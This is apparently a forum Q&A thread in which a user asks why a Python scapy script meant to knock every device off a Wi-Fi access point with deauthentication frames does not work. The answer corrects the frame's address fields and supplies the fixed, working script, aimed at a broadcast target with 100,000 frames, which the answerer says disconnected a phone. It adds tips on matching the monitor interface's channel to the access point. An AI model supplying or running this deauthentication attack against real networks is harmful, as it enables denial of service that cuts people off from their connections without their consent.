0

When I run this function I am still able to refresh any page, watch videos online, the devices on my network do not get disconnected, isn't this function supposed to dos all devices over the access point, I can see the packets in wireshark but i do still have internet connection

why is it not working?

#!/usr/bin/env python3
from scapy.all import (
  RadioTap,    # Adds additional metadata to an 802.11 frame
  Dot11,       # For creating 802.11 frame
  Dot11Deauth, # For creating deauth frame
  sendp        # for sending packets
)


def deauth_me(target , bssid):
    
    

    dot11 = Dot11(addr1=bssid, addr2=target, addr3=bssid)
    frame = RadioTap()/dot11/Dot11Deauth()
    sendp(frame, iface="wlan0mon", count=100000, inter=0.900)


    pass

deauth_me(target="ff:ff:ff:ff:ff:ff" , bssid="6c:6f:26:96:57:3d")

1 Answers1

1

I took a look at the code you provided and I did notice a problem.

The fix is to change the values of addr1 and addr2 when you initialize the dot11 variable.

Check out this StackOverflow post with the MAC addresses it gives to addr1, addr2, and addr3. In summary, addr1 should be the MAC address of the target and addr2 & addr3 should be the BSSID MAC address.

Working code:

#!/usr/bin/env python3
from scapy.all import (
  RadioTap,    # Adds additional metadata to an 802.11 frame
  Dot11,       # For creating 802.11 frame
  Dot11Deauth, # For creating deauth frame
  sendp        # for sending packets
)


def deauth_me(target , bssid):
    dot11 = Dot11(addr1=target, addr2=bssid, addr3=bssid)
    frame = RadioTap()/dot11/Dot11Deauth()
    sendp(frame, iface="wlan0mon", count=100000, inter=0.90)


    pass

deauth_me(target="ff:ff:ff:ff:ff:ff" , bssid="6c:6f:26:96:57:3d")

I tested this code and was able to successfully disconnect my phone from a WiFi network.

Another issue you might run into is that your wireless interface is operating on a different channel than your access point. Unfortunately, scapy won't tell you if you are on the wrong channel. I was only able to find this out by using aircrack-ng.

If you use aircrack-ng and the channels are not aligned, the error will be something like this (X and Y would be replaced with the actual channels):

wlan0mon is on channel X, but the AP uses channel Y

And if you want to change the channel your wireless interface uses, all you have to do is:

iwconfig wlan0mon channel Y
LikeASir
  • 11
  • 1